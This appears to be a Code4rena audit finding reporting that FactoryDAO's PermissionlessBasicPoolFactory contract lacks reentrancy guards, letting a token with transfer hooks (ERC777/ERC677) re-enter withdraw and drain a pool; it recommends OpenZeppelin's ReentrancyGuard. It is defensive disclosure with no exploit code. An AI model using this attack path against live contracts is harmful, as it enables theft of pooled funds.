Lines of code
<https://github.com/code-423n4/2022-05-factorydao/blob/main/contracts/PermissionlessBasicPoolFactory.sol#L180&gt;

Vulnerability details

Impact

A malicious token, or one that implemented transfer hooks, could re-enter the public calling function (such as withdraw()) before proper internal accounting was completed. Because the earned reward function looks up the pool.totalDepositsWei and pool.rewardsWeiClaimed[, which is not yet updated when the transfer occurs, it would be possible for a malicious contract to re-enter _withdraw repeatedly and drain the pool. (Tokens with hooks (ERC777 and ERC677) would allow to exploit the contract and drain it in it’s entirety.)

Proof of Concept

1. Navigate to the following contract.

<https://github.com/code-423n4/2022-05-factorydao/blob/main/contracts/PermissionlessBasicPoolFactory.sol#L209&gt;

<https://github.com/code-423n4/2022-05-factorydao/blob/main/contracts/PermissionlessBasicPoolFactory.sol#L180&gt;

<https://github.com/code-423n4/2022-05-factorydao/blob/main/contracts/PermissionlessBasicPoolFactory.sol#L261&gt;

<https://github.com/code-423n4/2022-05-factorydao/blob/main/contracts/PermissionlessBasicPoolFactory.sol#L242&gt;

2. withdraw, deposit and other functions are missing re-entrancy guard. Therefore, If pool is added with ERC777 token, the attacker can drain all pool.

Tools Used

Code Review

Recommended Mitigation Steps

Consider using re-entrancy guard on all main action functions (e.g. deposit, withdraw and etc): <https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol&gt;

The text was updated successfully, but these errors were encountered:

All reactions